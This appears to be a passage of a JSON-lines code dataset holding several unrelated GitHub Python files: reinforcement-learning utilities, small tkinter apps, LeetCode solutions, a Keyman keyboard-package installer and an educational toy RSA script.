title=f'Episode {ep}'),\n duration=frames[ep].shape[0])\n animation.write_gif(path + f'episode_{ep}.gif', fps=fps)\n\n def _make_frame(self, t, frames, axes, fig, title):\n axes.clear()\n fig.suptitle(title)\n axes.imshow(frames[int(t)])\n return mplfig_to_npimage(fig)\n\n def iplot_episode(self, episode, fps=30):\n if episode is None: raise ValueError('The episode cannot be None for jupyter display')\n x = self.episode_video_frames(episode)[episode]\n fig, ax = plt.subplots()\n\n self.current_animation = VideoClip(partial(self._make_frame, frames=x, axes=ax, fig=fig,\n title=f'Episode {episode}'), duration=x.shape[0])\n self.current_animation.ipython_display(fps=fps, loop=True, autoplay=True)\n\n def get_memory_samples(self, batch_size=None, key='reward'):\n samples = self.learn.model.memory.sample(self.learn.model.batch_size if batch_size is None else batch_size)\n if not samples: raise IndexError('Your tree seems empty.')\n if batch_size is not None and batch_size > len(self.learn.model.memory):\n raise IndexError(f'Your batch size {batch_size} > the tree\\'s batch size {len(self.learn.model.memory)}')\n if key not in samples[0].obj.keys(): raise ValueError(f'Key {key} not in {samples[0].obj.keys()}')\n return [s.obj[key] for s in samples]\n\n def plot_memory_samples(self, batch_size=None, key='reward', fig_size=(8, 8)):\n values_of_interest = self.get_memory_samples(batch_size, key)\n fig = plt.figure(figsize=fig_size)\n ax = fig.gca()\n fig.suptitle(f'{self.learn.model.name} for {self.ds.env.spec._env_name}')\n ax.set_ylabel(key)\n ax.set_xlabel('Values')\n ax.plot(values_of_interest)\n plt.show()","repo_name":"josiahls/fast-reinforcement-learning","sub_path":"fast_rl/core/Interpreter.py","file_name":"Interpreter.py","file_ext":"py","file_size_in_byte":15883,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"50"} +{"seq_id":"70497806877","text":"##########################################\n# Leaderboard\n##########################################\n\ndef leaderboard_keyPressed(app, event):\n if event.key == 'Escape':\n app.mode = 'startScreen'\n\ndef drawNames(app, canvas):\n leaderboardData = open(\"leaderboardData.txt\", 'r')\n prev = leaderboardData.read()\n listedData = prev\n listedData = listedData.split(',')\n if len(listedData)//2 != 0:\n listedData.pop()\n sortedData = []\n # Sort leaderboard\n while len(listedData) != len(sortedData):\n bestScore = 0\n bestName = '' \n for spot in range(0, len(listedData), 2):\n currNum = listedData[spot+1]\n currName = listedData[spot]\n currNum = int(currNum)\n if currNum > bestScore and currName not in sortedData:\n bestScore = currNum\n bestName = listedData[spot]\n sortedData.append(bestName)\n sortedData.append(bestScore)\n print(sortedData)\n counter = 0\n # Draw sorted leaderboard\n for data in range(0, len(sortedData), 2):\n name = sortedData[data]\n speed = sortedData[data+1]\n if name == '':\n continue\n yPos = 150 + counter*100\n canvas.create_rectangle(0, yPos-50, app.width, yPos+50, fill = 'whitesmoke')\n canvas.create_text(app.width/5, yPos, text = name,\n font = 'Arial 40 bold')\n canvas.create_text(app.width*(4/5), yPos, text = f'{speed} mph',\n font = 'Arial 40 bold')\n counter += 1\n if counter > 6:\n break\n\ndef leaderboard_redrawAll(app, canvas):\n canvas.create_rectangle(0,0, app.width, app.height, fill = 'silver')\n canvas.create_text(app.width/2, 50, text = 'Leaderboard',\n font = 'Arial 50 bold')\n canvas.create_text(app.width/5, 50, text = 'Player',\n font = 'Arial 40 bold')\n canvas.create_text(app.width*(4/5), 50, text = 'Speed',\n font = 'Arial 40 bold')\n drawNames(app, canvas)\n canvas.create_text(app.width/2, app.height-50, text = 'Press escape to return home',\n font = 'Arial 35 bold')","repo_name":"Quarks-1/No-Brakes","sub_path":"Testing/leaderboard.py","file_name":"leaderboard.py","file_ext":"py","file_size_in_byte":2206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"4942588432","text":"from tkinter import *\nfrom tkinter import messagebox\nwindow = Tk()\nwindow.geometry(\"500x300\")\nwindow.title(\"Error Handling:\")\nwindow.config(bg=\"#2e4053\")\n# label and entry\namount_label = Label(window, fg=\"white\", bg=\"#2e4053\", text=\"Please enter the amount in your account:\", font=(\"Helvetica\", 15))\namount_label.place(relx=0.22, rely=0.2)\namount_entry = Entry(window)\namount_entry.place(relx=0.34, rely=0.35)\n# function\ndef check_funds():\n amount = amount_entry.get()\n try:\n amount = int(amount)\n if amount >= 3000:\n messagebox.showinfo(\"Status Feedback\", \"Congratulations:\\nYou qualify for Malaysia!\")\n else:\n messagebox.showinfo(\"Status Feedback\", \"Please deposit more funds for the excursion.\")\n except ValueError:\n messagebox.showerror(\"Error\", \"Please enter a valid input\")\n# check button\ncheck_btn = Button(window, text=\"Check Amount\", bg=\"#2e4053\", fg=\"white\", borderwidth=5, padx=15, pady=10, command=check_funds, font=(\"Helvetica\", 15))\ncheck_btn.place(relx=0.37, rely=0.5)\nwindow.mainloop()\n","repo_name":"mikaylab12/python_error_handling_task","sub_path":"error_handling.py","file_name":"error_handling.py","file_ext":"py","file_size_in_byte":1061,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"33921043869","text":"from setuptools import setup\n\npackage_name = 'lane_follow'\n\nsetup(\n name=package_name,\n version='0.0.0',\n packages=[package_name],\n data_files=[\n ('share/ament_index/resource_index/packages',\n ['resource/' + package_name]),\n ('share/' + package_name, ['package.xml']),\n ],\n install_requires=['setuptools'],\n zip_safe=True,\n maintainer='Kedar Prasad Karpe, Griffon McMahon, Jiatong Sun',\n maintainer_email='karpenet@seas.upenn.edu, gmcmahon@seas.upenn.edu, jtsun@seas.upenn.edu',\n description='f1tenth lane_follow',\n license='UPenn',\n tests_require=['pytest'],\n entry_points={\n 'console_scripts': [\n 'lane_follow_node = lane_follow.lane_follow_node:main',\n ],\n },\n)\n","repo_name":"zzjun725/f1tenth_racing_stack_ICRA22","sub_path":"lane_follow/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":757,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"1683639976","text":"import copy\nimport torch\nimport torch.nn as nn\nimport parl\nimport torch.nn.functional as F\nfrom parl.utils.utils import check_model_method\n\nEXP_ADV_MAX = 100.\n\n\ndef asymmetric_l2_loss(u, tau):\n return torch.mean(torch.abs(tau - (u < 0).float()) * u**2)\n\n\nclass IQL(parl.Algorithm):\n def __init__(self,\n model,\n max_steps,\n lr=0.0003,\n tau=0.7,\n beta=3.,\n discount=0.99,\n alpha=0.005):\n \"\"\" IQL algorithm\n Args:\n model (parl.Model): forward network of value, actor and critic.\n max_stpes (int): total train steps.\n lr (float): learning rate of the value, actor and critic model.\n tau(float): the coefficient for asymmetric l2 loss.\n beta(float): inverse temperature of policy extraction.\n discount (float): discounted factor for reward computation.\n alpha (float): decay coefficient when updating the weights of self.target_model with self.model.\n \"\"\"\n # checks\n check_model_method(model, 'value', self.__class__.__name__)\n check_model_method(model, 'policy', self.__class__.__name__)\n check_model_method(model, 'qvalue', self.__class__.__name__)\n check_model_method(model, 'get_actor_params', self.__class__.__name__)\n check_model_method(model, 'get_critic_params', self.__class__.__name__)\n check_model_method(model, 'get_value_params', self.__class__.__name__)\n assert isinstance(max_steps, int)\n assert isinstance(lr, float)\n assert isinstance(tau, float)\n assert isinstance(beta, float)\n assert isinstance(discount, float)\n assert isinstance(alpha, float)\n\n self.device = torch.device(\"cuda\" if torch.cuda.\n is_available() else \"cpu\")\n self.model = model.to(self.device)\n self.q_target = copy.deepcopy(self.model).to(self.device)\n self.lr = lr\n\n self.v_optimizer = torch.optim.Adam(\n self.model.get_value_params(), lr=self.lr)\n self.q_optimizer = torch.optim.Adam(\n self.model.get_critic_params(), lr=self.lr)\n self.policy_optimizer = torch.optim.Adam(\n self.model.get_actor_params(), lr=self.lr)\n self.tau = tau\n self.beta = beta\n self.discount = discount\n self.alpha = alpha\n\n def predict(self, observations):\n act = self.model.actor_model.act(observations, deterministic=True)\n return act\n\n def update(self, observations, actions, rewards, next_observations,\n terminals):\n with torch.no_grad():\n target_q1, target_q2 = self.q_target.qvalue(observations, actions)\n target_q = torch.min(target_q1, target_q2)\n next_v = self.model.value(next_observations)\n\n # Update value function\n v = self.model.value(observations)\n adv = target_q - v\n v_loss = asymmetric_l2_loss(adv, self.tau)\n\n # Update Q function\n targets = rewards + (\n 1. - terminals.float()) * self.discount * next_v.detach()\n q1, q2 = self.model.qvalue(observations, actions)\n qf1_loss = F.mse_loss(q1, targets)\n qf2_loss = F.mse_loss(q2, targets)\n q_loss = qf1_loss + qf2_loss\n\n # Update policy\n exp_adv = torch.exp(self.beta * adv.detach()).clamp(max=EXP_ADV_MAX)\n policy_out = self.model.policy(observations)\n if isinstance(policy_out, torch.distributions.Distribution):\n bc_losses = -policy_out.log_prob(actions)\n policy_loss = torch.mean((exp_adv[:, 0].detach()) * bc_losses)\n\n self.q_optimizer.zero_grad()\n q_loss.backward()\n self.q_optimizer.step()\n\n self.v_optimizer.zero_grad()\n v_loss.backward()\n self.v_optimizer.step()\n\n self.policy_optimizer.zero_grad()\n policy_loss.backward()\n self.policy_optimizer.step()\n\n # Update target Q network\n self.sync_target(alpha=self.alpha)\n\n return q_loss.cpu().detach(), v_loss.cpu().detach(), policy_loss.cpu(\n ).detach()\n\n def sync_target(self, alpha=0):\n \"\"\" update the target network with the training network\n\n Args:\n alpha(float): the decaying factor while updating the target network with the training network.\n 1.0 represents the **assignment**.\n \"\"\"\n for param, target_param in zip(self.model.parameters(),\n self.q_target.parameters()):\n target_param.data.copy_(alpha * param.data +\n (1 - alpha) * target_param.data)\n","repo_name":"PaddlePaddle/PARL","sub_path":"parl/algorithms/torch/iql.py","file_name":"iql.py","file_ext":"py","file_size_in_byte":4729,"program_lang":"python","lang":"en","doc_type":"code","stars":3097,"dataset":"github-code","pt":"50"} +{"seq_id":"553597801","text":"# Definition for a Node.\nclass Node(object):\n def __init__(self, val, children):\n self.val = val\n self.children = children\n\n\nclass Solution(object):\n def preorder(self, root):\n \"\"\"\n Given an n-ary tree, return the preorder traversal of its nodes' values.\n\n For example, given a 3-ary tree:\n\n Return its preorder traversal as: [1,3,5,6,2,4].\n\n Note:\n\n Recursive solution is trivial, could you do it iteratively?\n\n :type root: Node\n :rtype: List[int]\n \"\"\"\n\n if not root:\n return []\n\n stack = [root]\n ans = []\n while stack:\n node = stack.pop()\n # preorder: add the value first\n ans.append(node.val)\n # put the children from right to left into stack.\n if node.children:\n n = len(node.children)\n for i in range(n-1, -1, -1):\n stack.append(node.children[i])\n return ans\n\n\n","repo_name":"ljia2/leetcode.py","sub_path":"solutions/tree/589.N-ary.Tree.Preorder.Traversal.py","file_name":"589.N-ary.Tree.Preorder.Traversal.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"17197147079","text":"#!/usr/bin/python3\n\nimport argparse\nimport json\nimport logging\nimport os.path\nimport subprocess\nimport sys\nimport tempfile\nimport zipfile\nfrom os import listdir, makedirs\nfrom shutil import copy2, rmtree\n# from ast import literal_eval\nfrom enum import Enum\n\nimport requests\n\nfrom keyman_config.get_kmp import get_keyboard_data, get_kmp, user_keyboard_dir, user_keyman_dir, user_keyman_font_dir\nfrom keyman_config.kmpmetadata import parseinfdata, parsemetadata, get_metadata, infmetadata_to_json, KMFileTypes\nfrom keyman_config.uninstall_kmp import uninstall_kmp\nfrom keyman_config.convertico import extractico, checkandsaveico\nfrom keyman_config.kvk2ldml import convert_kvk_to_ldml, output_ldml\nfrom keyman_config.ibus_util import install_to_ibus, restart_ibus, get_ibus_bus\n\n#TODO userdir install\n# special processing for kmn if needed\n#TODO optionally standardise throughout on variable names\n# packageID for kmps and keyboardID for keyboards\n# see https://docs.google.com/document/d/1sj7W6pCiN-_iRss5iRdib1aHaSTmYoLIueQSKJeNy8Q/edit#heading=h.mq0rc28mf031\n\nclass InstallStatus(Enum):\n\tContinue = 0\n\tWarning = 1\n\tAbort = 2\n\nclass InstallError(Exception):\n \"\"\"Exception raised for errors in KMP installation.\n\n Attributes:\n status -- InstallStatus for what to do when the error occurrs\n message -- explanation of the error\n \"\"\"\n\n def __init__(self, status, message):\n self.status = status\n self.message = message\n\ndef list_files(directory, extension):\n\treturn (f for f in listdir(directory) if f.endswith('.' + extension))\n\ndef extract_kmp(kmpfile, directory):\n\twith zipfile.ZipFile(kmpfile,\"r\") as zip_ref:\n\t\tzip_ref.extractall(directory)\n\ndef process_keyboard_data(keyboardID, packageDir):\n\tkbdata = get_keyboard_data(keyboardID)\n\tif kbdata:\n\t\tif not os.path.isdir(packageDir):\n\t\t\tos.makedirs(packageDir)\n\n\t\twith open(os.path.join(packageDir, keyboardID + '.json'), 'w') as outfile:\n\t\t\tjson.dump(kbdata, outfile)\n\t\t\tlogging.info(\"Installing api data file %s.json as keyman file\", keyboardID)\n\t# else:\n\t# \tmessage = \"install_kmp.py: error: cannot download keyboard data so not installing.\"\n\t# \trmtree(kbdir)\n\t# \traise InstallError(InstallStatus.Abort, message)\n\ndef check_keyman_dir(basedir, error_message):\n\t# check if keyman subdir exists\n\tkeyman_dir = os.path.join(basedir, \"keyman\")\n\tif os.path.isdir(keyman_dir):\n\t\t# Check for write access of keyman dir to be able to create subdir\n\t\tif not os.access(keyman_dir, os.X_OK | os.W_OK):\n\t\t\traise InstallError(InstallStatus.Abort, error_message)\n\telse:\n\t\t# Check for write access of basedir and create keyman subdir if we can\n\t\tif not os.access(basedir, os.X_OK | os.W_OK):\n\t\t\traise InstallError(InstallStatus.Abort, error_message)\n\t\tos.mkdir(keyman_dir)\n\ndef extract_package_id(inputfile):\n\tpackageID, ext = os.path.splitext(os.path.basename(inputfile))\n\treturn packageID.lower()\n\ndef install_kmp_shared(inputfile, online=False):\n\t\"\"\"\n\tInstall a kmp file to /usr/local/share/keyman\n\n\tArgs:\n\t\tinputfile (str): path to kmp file\n\t\tonline(bool, default=False): whether to attempt to get online keyboard data\n\t\"\"\"\n\tcheck_keyman_dir('/usr/local/share', \"You do not have permissions to install the keyboard files to the shared area /usr/local/share/keyman\")\n\tcheck_keyman_dir('/usr/local/share/doc', \"You do not have permissions to install the documentation to the shared documentation area /usr/local/share/doc/keyman\")\n\tcheck_keyman_dir('/usr/local/share/fonts', \"You do not have permissions to install the font files to the shared font area /usr/local/share/fonts\")\n\n\tpackageID = extract_package_id(inputfile)\n\tpackageDir = os.path.join('/usr/local/share/keyman', packageID)\n\tkmpdocdir = os.path.join('/usr/local/share/doc/keyman', packageID)\n\tkmpfontdir = os.path.join('/usr/local/share/fonts/keyman', packageID)\n\tif not os.path.isdir(packageDir):\n\t\tos.makedirs(packageDir)\n\textract_kmp(inputfile, packageDir)\n\t#restart IBus so it knows about the keyboards being installed\n\tlogging.debug(\"restarting IBus\")\n\trestart_ibus()\n\tinfo, system, options, keyboards, files = get_metadata(packageDir)\n\n\tif keyboards:\n\t\tlogging.info(\"Installing %s\", info['name']['description'])\n\t\tif online:\n\t\t\tprocess_keyboard_data(packageID, packageDir)\n\t\t\tif len(keyboards) > 1:\n\t\t\t\tfor kb in keyboards:\n\t\t\t\t\tif kb['id'] != packageID:\n\t\t\t\t\t\tprocess_keyboard_data(kb['id'], packageDir)\n\n\t\tfor f in files:\n\t\t\tfpath = os.path.join(packageDir, f['name'])\n\t\t\tftype = f['type']\n\t\t\tif ftype == KMFileTypes.KM_DOC or ftype == KMFileTypes.KM_IMAGE:\n\t\t\t\t#Special handling of doc and images to hard link them into doc dir\n\t\t\t\tlogging.info(\"Installing %s as documentation\", f['name'])\n\t\t\t\tif not os.path.isdir(kmpdocdir):\n\t\t\t\t\tos.makedirs(kmpdocdir)\n\t\t\t\tos.link(fpath, os.path.join(kmpdocdir, f['name']))\n\t\t\telif ftype == KMFileTypes.KM_FONT:\n\t\t\t\t#Special handling of font to hard link it into font dir\n\t\t\t\tlogging.info(\"Installing %s as font\", f['name'])\n\t\t\t\tif not os.path.isdir(kmpfontdir):\n\t\t\t\t\tos.makedirs(kmpfontdir)\n\t\t\t\tos.link(fpath, os.path.join(kmpfontdir, f['name']))\n\t\t\telif ftype == KMFileTypes.KM_SOURCE:\n\t\t\t\t#TODO for the moment just leave it for ibus-kmfl to ignore if it doesn't load\n\t\t\t\tlogging.info(\"Installing %s as keyman file\", f['name'])\n\t\t\telif ftype == KMFileTypes.KM_OSK:\n\t\t\t\t# Special handling to convert kvk into LDML\n\t\t\t\tlogging.info(\"Converting %s to LDML and installing both as as keyman file\", f['name'])\n\t\t\t\tldml = convert_kvk_to_ldml(fpath)\n\t\t\t\tname, ext = os.path.splitext(f['name'])\n\t\t\t\tldmlfile = os.path.join(packageDir, name+\".ldml\")\n\t\t\t\toutput_ldml(ldmlfile, ldml)\n\t\t\telif ftype == KMFileTypes.KM_ICON:\n\t\t\t\t# Special handling of icon to convert to PNG\n\t\t\t\tlogging.info(\"Converting %s to PNG and installing both as keyman files\", f['name'])\n\t\t\t\tcheckandsaveico(fpath)\n\t\t\telif ftype == KMFileTypes.KM_KMX:\n\t\t\t\t# Sanitize keyboard filename if not lower case\n\t\t\t\tkmx_id, ext = os.path.splitext(os.path.basename(f['name']))\n\t\t\t\tfor kb in keyboards:\n\t\t\t\t\tif kmx_id.lower() == kb['id'] and kmx_id != kb['id']:\n\t\t\t\t\t\tos.rename(os.path.join(packageDir, f['name']), os.path.join(packageDir, kb['id']+'.kmx'))\n\t\t\t\t\t\tfpath = os.path.join(packageDir, kb['id']+'.kmx')\n\t\t\t\textractico(fpath)\n\n\t\tfor kb in keyboards:\n\t\t\t# install all kmx for first lang not just packageID\n\t\t\tkmx_file = os.path.join(packageDir, kb['id'] + \".kmx\")\n\t\t\tinstall_to_ibus(lang, kmx_file)\n\telse:\n\t\tlogging.error(\"install_kmp.py: error: No kmp.json or kmp.inf found in %s\", inputfile)\n\t\tlogging.info(\"Contents of %s:\", inputfile)\n\t\tfor o in os.listdir(packageDir):\n\t\t\tlogging.info(o)\n\t\trmtree(packageDir)\n\t\tmessage = \"install_kmp.py: error: No kmp.json or kmp.inf found in %s\" % (inputfile)\n\t\traise InstallError(InstallStatus.Abort, message)\n\ndef install_kmp_user(inputfile, online=False):\n\tpackageID = extract_package_id(inputfile)\n\tpackageDir=user_keyboard_dir(packageID)\n\tif not os.path.isdir(packageDir):\n\t\tos.makedirs(packageDir)\n\n\textract_kmp(inputfile, packageDir)\n\t#restart IBus so it knows about the keyboards being installed\n\trestart_ibus()\n\tinfo, system, options, keyboards, files = get_metadata(packageDir)\n\n\tif keyboards:\n\t\tlogging.info(\"Installing %s\", info['name']['description'])\n\t\tif online:\n\t\t\tprocess_keyboard_data(packageID, packageDir)\n\t\t\tif len(keyboards) > 1:\n\t\t\t\tfor kb in keyboards:\n\t\t\t\t\tif kb['id'] != packageID:\n\t\t\t\t\t\tprocess_keyboard_data(kb['id'], packageDir)\n\n\t\tfor f in files:\n\t\t\tfpath = os.path.join(packageDir, f['name'])\n\t\t\tftype = f['type']\n\t\t\tif ftype == KMFileTypes.KM_FONT:\n\t\t\t\t#Special handling of font to hard link it into font dir\n\t\t\t\tfontsdir = os.path.join(user_keyman_font_dir(), packageID)\n\t\t\t\tif not os.path.isdir(fontsdir):\n\t\t\t\t\tos.makedirs(fontsdir)\n\t\t\t\tos.link(fpath, os.path.join(fontsdir, f['name']))\n\t\t\t\tlogging.info(\"Installing %s as font\", f['name'])\n\t\t\telif ftype == KMFileTypes.KM_OSK:\n\t\t\t\t# Special handling to convert kvk into LDML\n\t\t\t\tlogging.info(\"Converting %s to LDML and installing both as as keyman file\", f['name'])\n\t\t\t\tldml = convert_kvk_to_ldml(fpath)\n\t\t\t\tname, ext = os.path.splitext(f['name'])\n\t\t\t\tldmlfile = os.path.join(packageDir, name+\".ldml\")\n\t\t\t\toutput_ldml(ldmlfile, ldml)\n\t\t\telif ftype == KMFileTypes.KM_ICON:\n\t\t\t\t# Special handling of icon to convert to PNG\n\t\t\t\tlogging.info(\"Converting %s to PNG and installing both as keyman files\", f['name'])\n\t\t\t\tcheckandsaveico(fpath)\n\t\t\telif ftype == KMFileTypes.KM_SOURCE:\n\t\t\t\t#TODO for the moment just leave it for ibus-kmfl to ignore if it doesn't load\n\t\t\t\tpass\n\t\t\telif ftype == KMFileTypes.KM_KMX:\n\t\t\t\t# Sanitize keyboard filename if not lower case\n\t\t\t\tkmx_id, ext = os.path.splitext(os.path.basename(f['name']))\n\t\t\t\tfor kb in keyboards:\n\t\t\t\t\tif kmx_id.lower() == kb['id'] and kmx_id != kb['id']:\n\t\t\t\t\t\tos.rename(os.path.join(packageDir, f['name']), os.path.join(packageDir, kb['id']+'.kmx'))\n\t\t\t\t\t\tfpath = os.path.join(packageDir, kb['id']+'.kmx')\n\t\t\t\textractico(fpath)\n\n\t\tinstall_keyboards_to_ibus(keyboards, packageDir)\n\telse:\n\t\tlogging.error(\"install_kmp.py: error: No kmp.json or kmp.inf found in %s\", inputfile)\n\t\tlogging.info(\"Contents of %s:\", inputfile)\n\t\tfor o in os.listdir(packageDir):\n\t\t\tlogging.info(o)\n\t\trmtree(packageDir)\n\t\tmessage = \"install_kmp.py: error: No kmp.json or kmp.inf found in %s\" % (inputfile)\n\t\traise InstallError(InstallStatus.Abort, message)\n\ndef install_keyboards_to_ibus(keyboards, packageDir):\n\t\tbus = get_ibus_bus()\n\t\tif bus:\n\t\t\t# install all kmx for first lang not just packageID\n\t\t\tfor kb in keyboards:\n\t\t\t\tkmx_file = os.path.join(packageDir, kb['id'] + \".kmx\")\n\t\t\t\tif \"languages\" in kb and len(kb[\"languages\"]) > 0:\n\t\t\t\t\tlogging.debug(kb[\"languages\"][0])\n\t\t\t\t\tkeyboard_id = \"%s:%s\" % (kb[\"languages\"][0]['id'], kmx_file)\n\t\t\t\telse:\n\t\t\t\t\tkeyboard_id = kmx_file\n\t\t\t\tinstall_to_ibus(bus, keyboard_id)\n\t\t\trestart_ibus(bus)\n\t\t\tbus.destroy()\n\t\telse:\n\t\t\tlogging.debug(\"could not install keyboards to IBus\")\n\n\ndef install_kmp(inputfile, online=False, sharedarea=False):\n\t\"\"\"\n\tInstall a kmp file\n\n\tArgs:\n\t\tinputfile (str): path to kmp file\n\t\tonline(bool, default=False): whether to attempt to get online keyboard data\n\t\tsharedarea(bool, default=False): whether install kmp to shared area or user directory\n\t\"\"\"\n\tif sharedarea:\n\t\tinstall_kmp_shared(inputfile, online)\n\telse:\n\t\tinstall_kmp_user(inputfile, online)\n","repo_name":"leonardoquevedox/keyman","sub_path":"linux/keyman-config/keyman_config/install_kmp.py","file_name":"install_kmp.py","file_ext":"py","file_size_in_byte":10216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"52"} +{"seq_id":"14477242262","text":"from math import *\n\n\n# Verifica se o número é primo.\ndef check_prime(n):\n if (n == 1):\n return False\n i = 2\n while (i <= n - 1):\n if (n % i == 0):\n return False\n i += 1\n if (i == n):\n return True\n\n# Verifica se o número é co-primo.\ndef is_coprime(a, b):\n while b != 0:\n a, b = b, a % b\n if a == 1:\n return True\n return False\n\n# Pega o modular inverso do número.\ndef mod_inverse(a, b):\n a = a % b\n i = 1\n while (i < b):\n if ((a * i) % b == 1):\n return i\n i += 1\n\nprog = True\n\nwhile prog == True:\n print(\"------------------------------------\")\n print(\" CRIPTOGRAFIA RSA\")\n print(\"------------------------------------\")\n print(\"<0> - Exibir informações\")\n print(\"<1> - Criptografar uma mensagem\")\n print(\"<2> - Descriptografar uma mensagem\")\n print(\"<3> - Criar chaves\")\n print(\"<4> - Finalizar programa\")\n print(\"------------------------------------\")\n op = input(\"Escolha uma opção: \")\n\n if op == '0':\n info_screen = True\n while info_screen == True:\n print(\"------------------------------------\")\n print(\"<1> - Informações gerais\")\n print(\"<2> - Geração de chaves\")\n print(\"<3> - Retornar\")\n print(\"------------------------------------\")\n op2 = input(\"Escolha uma opção: \")\n\n if op2 == '1':\n print(\"\\n--------------------------------------------------------\")\n print(\" Informações Gerais\")\n print(\"--------------------------------------------------------\")\n print(\"A criptografia RSA é um dos algoritmos de encriptação\")\n print(\"mais seguros e populares existentes. O funcionamento é\")\n print(\"baseado em princípios matemáticos (numeros primos e\")\n print(\"restos de divisao).\")\n print(\"--------------------------------------------------------\")\n try:\n input(\"Pressione enter para continuar \")\n except SyntaxError:\n pass\n\n if op2 == '2':\n print(\"\\n-------------------------------------------------\")\n print(\" Geração de Chaves\")\n print(\"-------------------------------------------------\")\n print(\"No RSA as chaves são geradas desta maneira: \")\n print(\"1. Os números 'p' e 'q' devem ser números primos;\")\n print(\"2. Calcula-se n = p.q;\")\n print(\"3. Calcula-se tot.(n) = (p − 1).(q − 1);\")\n print(\"4. Escolhe-se um inteiro 'e', tal que 1 < e < tot.(n),\")\n print(\"de forma que 'e' e tot.(n) sejam primos entre si;\")\n print(\"5. Calcula-se d, de forma que d.e ≡ 1 mod(tot. n).\")\n print(\"-------------------------------------------------\")\n try:\n input(\"Pressione enter para continuar \")\n except SyntaxError:\n pass\n\n if op2 == '3':\n info_screen = False\n\n elif op == '1':\n msg = input(\"Insira a mensagem a ser criptografada: \")\n\n e = int(input(\"Insira a chave pública 'e': \"))\n n = int(input(\"Insira a chave pública 'n': \"))\n\n # Converte o texto inicial para ASCII\n ascii = [ord(ele) for sub in msg for ele in sub]\n\n # Usar a fórmula bloco^e (mod n) para obter o bloco final\n final_message = ascii.copy()\n\n for i in range(len(ascii)):\n final_message[i] = ascii[i] ** e % n\n\n print(\"-------------------------------------\")\n print(\" Mensagem codificada\")\n print(\"-------------------------------------\")\n print(*final_message, sep = \" \")\n\n try:\n input(\"\\nPressione enter para continuar \")\n except SyntaxError:\n pass\n\n elif op == '2':\n rsa = [int(x) for x in input(\"Insira a mensagem criptografada: \").split()]\n p = int(input(\"p: \"))\n q = int(input(\"q: \"))\n e = int(input(\"e: \"))\n n = p * q\n tn = (p - 1) * (q - 1)\n d = mod_inverse(e, tn)\n\n rsa_aux = rsa.copy()\n for i in range(len(rsa)):\n rsa_aux[i] = rsa[i] ** d % n\n\n print(\"-------------------------------------\")\n print(\" Mensagem descriptografada\")\n print(\"-------------------------------------\")\n print(''.join(chr(i) for i in rsa_aux))\n print(\"-------------------------------------\")\n try:\n input(\"Pressione enter para continuar \")\n except SyntaxError:\n pass\n\n elif op == '3':\n p_q_prime = False\n while (p_q_prime == False):\n print(\"Insira duas chaves privadas (devem ser numeros primos) \")\n p = int(input(\"p: \"))\n q = int(input(\"q: \"))\n if (check_prime(p) == True and check_prime(q) == True):\n p_q_prime = True\n\n # A variável n é a primeira chave pública.\n n = p * q\n # Função totiente de n.\n tn = (p - 1) * (q - 1)\n\n e_is_coprime = False\n while (e_is_coprime == False):\n print(\"Insira uma chave pública\")\n print(\"(deve ser um número tal que 1 < e < \" + str(tn) + \",\")\n print(\"de forma que \" + str(tn) + \" e o número sejam co-primos)\")\n e = int(input(\"(e): \"))\n if (is_coprime(e, tn) == True and (e > 1) and (e < tn)):\n e_is_coprime = True\n\n d = mod_inverse(e, tn)\n\n print(\"--------------------------------------\")\n print(\" Chaves Criadas\")\n print(\"--------------------------------------\")\n print(\"Chaves públicas: e = \" + str(e) + \"; n = \" + str(n) + \".\")\n print(\"Chaves privadas: p = \" + str(p) + \"; q = \" + str(q) + \"; d = \" + str(d) + \".\")\n print(\"--------------------------------------\")\n\n try:\n input(\"Pressione enter para continuar \")\n except SyntaxError:\n pass\n\n elif op == '4':\n prog = False\n\n","repo_name":"mrdethos/Criptografia-RSA","sub_path":"rsa.py","file_name":"rsa.py","file_ext":"py","file_size_in_byte":6223,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"37282069648","text":"#\n# @lc app=leetcode id=128 lang=python3\n#\n# [128] Longest Consecutive Sequence\n#\n# https://leetcode.com/problems/longest-consecutive-sequence/description/\n#\n# algorithms\n# Hard (43.70%)\n# Likes: 2577\n# Dislikes: 148\n# Total Accepted: 260K\n# Total Submissions: 594.7K\n# Testcase Example: '[100,4,200,1,3,2]'\n#\n# Given an unsorted array of integers, find the length of the longest\n# consecutive elements sequence.\n# \n# Your algorithm should run in O(n) complexity.\n# \n# Example:\n# \n# \n# Input: [100, 4, 200, 1, 3, 2]\n# Output: 4\n# Explanation: The longest consecutive elements sequence is [1, 2, 3, 4].\n# Therefore its length is 4.\n# \n# \n#\n\n# @lc code=start\nclass Solution:\n def longestConsecutive(self, nums: List[int]) -> int:\n\n # longest_streak = 0\n # num_set = set(nums)\n\n # for num in num_set:\n # if num - 1 not in num_set:\n # current_num = num\n # current_streak = 1\n\n # while current_num + 1 in num_set:\n # current_num += 1\n # current_streak += 1\n\n # longest_streak = max(longest_streak, current_streak)\n\n # return longest_streak\n\n nums = set(nums)\n best = 0\n for x in nums:\n if x - 1 not in nums:\n y = x + 1\n while y in nums:\n y += 1\n best = max(best, y - x)\n return best\n\n \n# @lc code=end\n\n\n","repo_name":"chenxu0602/LeetCode","sub_path":"128.longest-consecutive-sequence.py","file_name":"128.longest-consecutive-sequence.py","file_ext":"py","file_size_in_byte":1456,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"17018116735","text":"import csv\nimport re\nimport logging\nfrom intermine.webservice import Service\n\nfrom dipper.utils import pysed\nfrom dipper.sources.Source import Source\nfrom dipper.models.assoc.Association import Assoc\nfrom dipper.models.Genotype import Genotype\nfrom dipper.models.assoc.OrthologyAssoc import OrthologyAssoc\nfrom dipper.models.assoc.G2PAssoc import G2PAssoc\nfrom dipper.models.Environment import Environment\nfrom dipper.models.GenomicFeature import makeChromID\nfrom dipper.models.GenomicFeature import Feature\nfrom dipper.models.Reference import Reference\nfrom dipper.models.Model import 